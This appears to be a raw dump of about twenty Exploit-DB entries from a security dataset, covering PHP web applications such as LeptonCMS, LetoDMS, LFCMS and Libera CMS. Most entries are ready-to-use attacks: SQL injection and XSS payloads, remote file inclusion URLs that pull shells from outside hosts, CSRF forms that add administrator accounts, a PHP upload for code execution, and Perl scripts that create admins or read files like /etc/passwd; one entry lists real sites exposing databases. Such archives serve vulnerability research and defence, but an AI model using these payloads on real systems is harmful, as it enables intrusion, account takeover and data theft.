deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51949
Description: LeptonCMS 7.0.0 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2024-04-02
Author: tmrswrr

Exploit:
# Exploit Title: LeptonCMS 7.0.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 2024-1-19
# Exploit Author: tmrswrr
# Category: Webapps
# Vendor Homepage: https://www.lepton-cms.com/
# Version : 7.0.0

1 ) Login with admin cred   >  https://127.0.0.1/LEPTON/backend/login/index.php
2 ) Go to Languages place   > https://127.0.0.1/LEPTON/backend/languages/index.php
3 ) Upload upgrade.php file in languages place > <?php echo system('id'); ?>
4 ) After click install you will be see result

# Result :  uid=1000(lepton) gid=1000(lepton) groups=1000(lepton) uid=1000(lepton) gid=1000(lepton) groups=1000(lepton)
Exploit-DB #34935
Description: LES PACKS - 'ID' SQL Injection
Type: webapps
Platform: php
Date: 2010-10-27
Author: Cru3l.b0y

Exploit:
source: https://www.securityfocus.com/bid/44457/info

LES PACKS is prone to an SQL-injection vulnerability.

An attacker can exploit this SQL-injection issue to carry out unauthorized actions on the underlying database, which may compromise the application and aid in further attacks. 

http://www.example.com/index.php?Page=articles&ID=-1+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15
Exploit-DB #2449
Description: Les Visiteurs (Visitors) 2.0 - 'config.inc.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-09-28
Author: D_7J

Exploit:
#==============================================================================================
#lesvisit (visiteurs) <= v2.0 (lvc_include_dir) Remote File Include Vulnerability
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Download from : http://www.comscripts.com/jump.php?action=script&id=41
#                                                                      
#Version : 2.0                                            
#                                                        
#================================================================================================
#
#Dork : "visiteurs v2.0"
#
#================================================================================================
#Bug in : /include/config.inc.php
#
#Vlu Code :
#--------------------------------
#
# 	include($lvc_include_dir.'lang/english.inc.php');
#
#	http://www.ensg.ign.fr/~daniel/ganesha/visiteurs20/include/config.inc.php?lvc_include_dir=http://d4wood.by.ru/r57shell.php?
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/include/config.inc.php?lvc_include_dir=http://sheller.com?
#
#================================================================================================
#Discoverd By : D_7J
#
#Site:http://Deltahacking.ir (public) http://deltahacking.net (priv8)
#
#Conatact : D_7J[at]yahoo[dot]com & D_7J[at]Deltahacking[dot]net
#
#Special Thx To : Str0ke
#
#Greetz: All Iranian Hackers
#
==================================================================================================

# milw0rm.com [2006-09-28]
Exploit-DB #28727
Description: Les Visiteurs 2.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-09-28
Author: D_7J

Exploit:
source: https://www.securityfocus.com/bid/20259/info

Les Visiteurs is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Les Visiteurs 2.0 and earlier versions are vulnerable; other versions may also be affected.

http://www.example.com/[Script Path]/include/config.inc.php?lvc_include_dir=http://www.example2.com?

http://www.example.com/include/new-visitor.inc.php?lvc_include_dir=http://yourshell.txt?
Exploit-DB #23302
Description: Les Visiteurs 2.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-10-27
Author: Matthieu Peschaud

Exploit:
source: https://www.securityfocus.com/bid/8902/info

A problem has been reported in the handling of some types of input by Les Visiteurs. Because of this, an attacker may be able to execute arbitrary commands on the system. 

http://www.example.com/path/include/config.inc.php?lvc_include_dir=http://backdoor/
Exploit-DB #21708
Description: Leszek Krupinski L-Forum 2.4 - Search Script SQL Injection
Type: webapps
Platform: php
Date: 2002-08-14
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5468/info

Reportedly, L-Forum is vulnerable to SQL injection attacks. The vulnerability lies in the file 'search.php' 

L-Forum does not properly sanitize user input that is used as part of the search parameter in the 'search.php' file. SQL code may be inserted into the requests and executed by the database server.

Postgres:
http://localhost/search.php?search=a%27%20order%20by%20time%20desc%3b%20[query]

MySQL:
http://localhost/search.php?search=a%25%27%20order%20by%20time%20desc%3b%20[query]
Exploit-DB #33530
Description: LetoDms 1.4.x - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-01-15
Author: D. Fabian

Exploit:
source: https://www.securityfocus.com/bid/37828/info

LetoDMS (formerly known as MyDMS) is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying computer; other attacks are also possible.

LetoDMS 1.7.2 is vulnerable; other versions may also be affected.


GET /mydms/op/op.Login.php?login=guest&sesstheme=&lang=../../../../boot.ini%00&sesstheme= HTTP/1.1
Exploit-DB #20759
Description: letodms 3.3.6 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-23
Author: Shai rod

Exploit:
# Exploit Title: LetoDMS 3.3.6 Multiple Reflected/Stored XSS & Password Change CSRF Vulnerability
# Date: 23/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://www.letodms.com/
# Software Link: http://sourceforge.net/projects/mydms/files/LetoDMS/LetoDMS-3.3.6/
# Version: 3.3.6
 
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar


About the Application:
======================

LetoDMS is an open-source document-management-system based on PHP and MySQL published under the GPL.


Vulnerability Description
=========================

1. Reflected XSS in Login Page.

http://server/letodms/out/out.Login.php?referuri='><script>alert("XSS")</script>


Here are some more locations that are vulnerable to reflected XSS:

http://server/letodms/out/out.ViewDocument.php?documentid=2&showtree=%22%3E%3Cscript%3Ealert%280%29%3C/script%3E
http://server/letodms/out/out.FolderNotify.php?folderid=1&showtree=1%22%3E%3Cscript%3Ealert%281%29%3C/script%3E
http://server/letodms/out/out.FolderAccess.php?folderid=1&showtree=1"><script>alert(1)</script>
http://server/letodms/out/out.EditFolder.php?folderid=1&showtree=1"><script>alert(1)</script>

And lots more...



2. Stored XSS in Document Owner/User name (when viewing user document).

Steps to reproduce the issue:

2.1. Goto My Account.
2.2. Edit user details.
2.3. In the "Name" field insert: <img src='1.jpg'onerror=javascript:alert(0)>
2.4. Upload a document.
2.5. View document information.
2.6. XSS Should be triggered.

Payload in context of the page source:

<tr>
<td>Owner:</td>
<td>
<a class="infos" href="mailto:aaa@aaa.com"><img src='1.jpg'onerror=javascript:alert(0)></a></td>
</tr>


3. Stored XS in Calendar.


Steps to reproduce the issue:

3.1. Create a new event.
3.2. In the "Name" and "Comment" fields insert: <script>alert("XSS")</script>
3.3. XSS should be triggerd when viewing the event.


4. Change Password CSRF.

<html>
  <body>
    <form action="http://server/letodms/op/op.EditUserData.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="pwd" value="qwe123" />
      <input type="hidden" name="pwdconf" value="qwe123" />
      <input type="hidden" name="fullname" value="Administrator" />
      <input type="hidden" name="email" value="admin@domain.com" />
      <input type="hidden" name="comment" value="CSRF POC" />
      <input type="submit" value="Click Me" />
    </form>
  </body>
</html>
Exploit-DB #6179
Description: LetterIt 2 - 'Language' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-31
Author: NoGe

Exploit:
====================================================================


  [o] LetterIt 2 Local File Inclusion Vulnerability

       Software : LetterIt Newsletter Manager version 2
       Vendor   : http://www.letterit.de/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com


====================================================================


  [o] Vulnerable file

       inc/wysiwyg.php

        include("../language/".$_GET['language'].".php");



  [o] Exploit

       http://localhost/[path]/inc/wysiwyg.php?language=[LFI]%00


====================================================================


  [o] Greetz

       supported by irc.nob0dy.net
       MainHack BrotherHood [ www.mainhack.com ]
       VOP Crew [ Vaksin13 OoN_BoY Paman ]
       H312Y yooogy mousekill }^-^{ martfella
       skulmatic olibekas ulga Cungkee nyubi k1tk4t str0ke

        
====================================================================

# milw0rm.com [2008-07-31]
Exploit-DB #2744
Description: LetterIt 2.0 - 'session.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-09
Author: v1per-haCker

Exploit:
#==================================================================================
#  LetterIt (RFI)
#==================================================================================
# Info:-
#
# Scripts: LetterIt
# download : http://otterware.net/index.php?dl=45
# Version : 2
# Dork & vuln : download scripts and think :)
#
#=================================================================================
#Exploit :
#
#http://localhost/path/inc/session.php?sessionerror=0&lang=http://EvElCoDe.txt?
#
#=================================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#
#XP10_hackEr Team               >>      www.xp10.com
#SpeciaL PoweR SecuritY TeaM    >>      www.specialpower.org
#
#Greetz to :    | abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL  |
#               | ThE-WoLf-KsA | mohandko | fooooz | maVen | ShikAa | K3BAB |
#               | metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero | Afroota   |
#               | MainstreaM | CoDeR | Simo-64 | Super-CrystaL | KoolholiO  |
#               |  MuhaciR  |Skrmhcr-GVinux | Jean |
#
# Thanks >>     /str0ke & www.milw0rm.com & www.google.com
#===================================================================================

# milw0rm.com [2006-11-09]
Exploit-DB #44919
Description: LFCMS 3.7.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2018-06-21
Author: bay0net

Exploit:
# Exploit Title: A CSRF vulnerability exists in LFCMS_3.7.0: administrator account can be added arbitrarily.
# Date: 2018-06-20
# Exploit Author: bay0net
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9203899.html
# Software Link: http://www.lfdycms.com/home/down/index/id/26.html
# Version: 3.7.0
# CVE : CVE-2018-12603


A CSRF vulnerability exists in LFCMS_3.7.0:  administrator account can be added arbitrarily.


The payload for attack is as follows.


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.17/lfdycms3.7.0/admin.php?s=/Member/add.html" method="POST">
      <input type="hidden" name="username" value="admin2" />
      <input type="hidden" name="password" value="admin2" />
      <input type="hidden" name="repassword" value="admin2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #44918
Description: LFCMS 3.7.0 - Cross-Site Request Forgery (Add User)
Type: webapps
Platform: php
Date: 2018-06-21
Author: bay0net

Exploit:
# Exploit Title: A CSRF vulnerability exists in LFCMS_3.7.0: users can be added arbitrarily.
# Date: 2018-06-20
# Exploit Author: bay0net
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9203740.html
# Software Link: http://www.lfdycms.com/home/down/index/id/26.html
# Version: 3.7.0
# CVE : CVE-2018-12602


A CSRF vulnerability exists in LFCMS_3.7.0: users can be added arbitrarily.


The payload for attack is as follows.


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.17/lfdycms3.7.0/admin.php?s=/Users/add.html" method="POST">
      <input type="hidden" name="username" value="test222" />
      <input type="hidden" name="email" value="test2@qq.com" />
      <input type="hidden" name="password" value="test222" />
      <input type="hidden" name="repassword" value="test222" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #30486
Description: Lib2 PHP Library 0.2 - 'My_Statistics.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-11
Author: ilker Kandemir

Exploit:
source: https://www.securityfocus.com/bid/25274/info

Lib2 PHP Library is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Lib2 PHP Library 0.2 is vulnerable; other versions may also be affected.

http://www.example.com/adm/my_statistics.php?DOCUMENT_ROOT=http://www.example2.com/?
Exploit-DB #6416
Description: Libera CMS 1.12 - 'cookie' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-10
Author: StAkeR

Exploit:
#!/usr/bin/perl
 # ----------------------------------------------------------
 # Libera CMS <= 1.12 (Cookie) Remote SQL Injection Exploit
 # Perl Exploit - Add a new admin with your credentials!
 # Author: StAkeR - StAkeR[at]hotmail[dot]it
 # ----------------------------------------------------------
 # Usage: perl http://localhost/cms StAkeR obscure
 # ----------------------------------------------------------

 use strict;
 use LWP::UserAgent;

 my ($hostname,$username,$password) = @ARGV;
 my $request  = undef;
 my $http_s   = new LWP::UserAgent or die $!;

 $hostname = ($hostname =~ /^http:\/\/(.+?)$/) ? $ARGV[0] : banner();
 banner() unless $username and $password;

 $http_s->agent("Mozilla/4.5 [en] (Win95; U)");
 $http_s->timeout(1);
 $http_s->default_header('Cookie' => "libera_staff_pass=' or '1=1");           

 $request = $http_s->post($hostname."/admin.php?action=add_user_process",
                         [
                          username       => $username,
                          password       => $password,
                          password_again => $password,
                          email          => 0,
                          su             => 1,
                          submit         => "Add+User"
                        ]);
        
 if($request->is_success)
 {
   if($request->content =~ /added successfully/i)
   {
     print "[+] Exploit Done!\n";
     print "[+] Added New Administrator:\n\n";
     print "[+] Username: ${username}\n";
     print "[+] Password: ${password}\n";
   }
   else
   {
     print "[!] Exploit Failed!\n";
     print "[!] Site Not Vulnerable\n";
   }
 }


 sub banner
 {
   print "[+] Libera CMS <= 1.2 Remote SQL Injection Exploit (add new admin)\n";
   print "[+] Usage: perl exploit.pl [host] [username] [password]\n";
   print "[+] Example: perl exploit.pl http://localhost/cms StAkeR obscure\n\n";
   return exit;
 }

# milw0rm.com [2008-09-10]
Exploit-DB #26883
Description: Libertas Enterprise CMS 3.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15950/info

Enterprise CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue affects Enterprise CMS version 3.0; earlier versions may also be vulnerable. 

http://www.example.com/search/index.php?advanced=0&associated_list=&page=1&search=0&page_search=[XSS]
Exploit-DB #7493
Description: Liberum Help Desk 0.97.3 - SQL Injection / File Disclosure
Type: webapps
Platform: php
Date: 2008-12-16
Author: Cold Zero

Exploit:
Liberum Help Desk (SQL/DD) Multiple Remote Vulnerabilities

author : Cold z3ro, www.hackteach.org

Dork : "Liberum Help Desk, Copyright (C) 2001 Doug Luxem"

==============
[#] SQL Injection

http://www.site.com/[path]/forgotpass.asp

    In uid insert SQL command's =>

SCMD ==>    ' or '1=1
SCMD ==>    ' or 'update tblusers set password = "z3ro"


all passwords will be z3ro

=============
[#] Database Disclosure

http://www.site.com/[path]/db/helpdesk2000.mdb



example :
https://www.bauer.uh.edu/helpdesk/db/helpdesk2000.mdb
http://www.ags2.com/helpdesk/db/helpdesk2000.mdb

# milw0rm.com [2008-12-16]
Exploit-DB #37679
Description: LibGuides - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-25
Author: Crim3R

Exploit:
source: https://www.securityfocus.com/bid/55222/info

LibGuides is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/cat.php?cid=%22%3E%3Cscript%3Ealert(0);%3C/script%3E

http://www.example.com/cat.php?cid=%22%3E%3Cscript%3Ealert(0);%3C/script%3E

http://www.example.com/cat.php?cid=%22%3E%3Cscript%3Ealert(0);%3C/script%3E

http://www.example.com/mobile.php?action=8&gid=&iid=145&search=%22%3E%3Cscript%3Ealert(0);%3C/script%3E
Exploit-DB #6579
Description: Libra PHP File Manager 1.18 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-26
Author: Stack

Exploit:
###############################################################################################
[+] Libra PHP File Manager Insecure Cookie Handling Vulnerability
[+] Discovered By Stack              
[+] Greetz : All my freind             
################################################################################################
---
exploit:
javascript:document.cookie = "user=1; path=/"; document.cookie = "pass=1; path=/";

# milw0rm.com [2008-09-26]
Exploit-DB #6567
Description: Libra PHP File Manager 1.18/2.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-25
Author: Pepelux

Exploit:
#!/usr/bin/perl

# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Libra PHP File Manager <= 1.18 / Local File Inclusion Vulnerability
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# Program: Libra PHP File Manager
# Version: <= 1.18 , 2.0
# File affected: fileadmin.php
# Download: http://file.sourceforge.net
#
#
# Found by Pepelux <pepelux[at]enye-sec.org>
# eNYe-Sec - www.enye-sec.org
# Greetings to Ka0x for help me with the perl code  :)
#
# You can scale directories and read any file that you have permissions

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

print "\e[2J";
system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my ($host, $path, $action) = @ARGV ;

unless($ARGV[2]) {
	print "Usage: perl $0 <host> <path> <action>\n";
	print "\tex: perl $0 http://site.com /etc/ list\n";
	print "\tex: perl $0 http://site.com /etc/passwd edit\n";
	print "Actions:\n";
	print "   list:\n";
	print "   edit:\n\n";
	exit 1;
}

$ua->agent("$0/0.1 " . $ua->agent);
$host = "http://".$host if ($host !~ /^http:/);
$path = $path."/" if ($action eq "list" && $path !~ /\/$/);
$op = "home" if ($action == "list");

if ($action eq "edit") {
	$aux = $path;
	$directory = "";

	do {
		$x = index($aux, "/");
		$y = length($aux) - $x;
		$directory .= substr($aux, 0, $x+1);
		$aux = substr($aux, $x+1, $y);
	} until ($x == -1);

	$path = $directory;
	$file = $aux;
	$op = "edit";
}

$url = $host."/fileadmin.php?user=root&isadmin=yes&op=".$op."&folder=".$path;
$url .= "&fename=".$file if ($action eq "edit");

$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');

$res = $ua->request($req);

if ($res->is_success) { 
	$result = $res->content;

	if ($action eq "edit") {
		print "Viewing $path$file:\n";
		print $1,"\n" if($result =~ /name="ncontent">(.*)<\/textarea>/s);
	}
	else {
		print "Files in $path:\n";
		$x = index($result, "Files:") + 6;
		$result = substr($result, $x, length($result)-$x);
		$result =~ s/<[^>]*>//g;
		$result =~ s/Filename//g;
		$result =~ s/Size//g;
		$result =~ s/Edit//g;
		$result =~ s/Rename//g;
		$result =~ s/Delete//g;
		$result =~ s/Move//g;
		$result =~ s/View//g;
		$result =~ s/Open//g;
		$result =~ s/\d*//g;
		$result =~ s/\s+/\n/g;
		$x = index($result, "Copyright");
		$result = substr($result, 0, $x);
		print $result;
	}
} 
else { print "Error: " . $res->status_line . "\n";}

# milw0rm.com [2008-09-25]
Exploit-DB #44728
Description: Library CMS 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: Library CMS 1.0 - SQL Injection
# Dork: N/A
# Date: 23.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor : Wecodex Solutions
# Vendor Homepage: https://www.wecodex.com/item/view/library-management-system-in-php-and-mysql/1
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# PoC : SQLi :
# Demo : https://Target/demos/library/admin/

https://Target/demos/library/admin/index.php?action=processlogin

POST /demos/library/admin/index.php?action=processlogin HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://Target/demos/library/admin/
Cookie: PHPSESSID=6fabn4skieu59mgjn63i4d38u0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
username=admin&[CREDENTIAL_REDACTED]


# Vulnerable Payload :
# Parameter: username (POST)
# Type: boolean-based blind
# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
# Payload: 

username=admin") RLIKE (SELECT (CASE WHEN (5737=5737) THEN
0x61646d696e ELSE 0x28 END)) AND ("YAQS"="YAQS&[CREDENTIAL_REDACTED]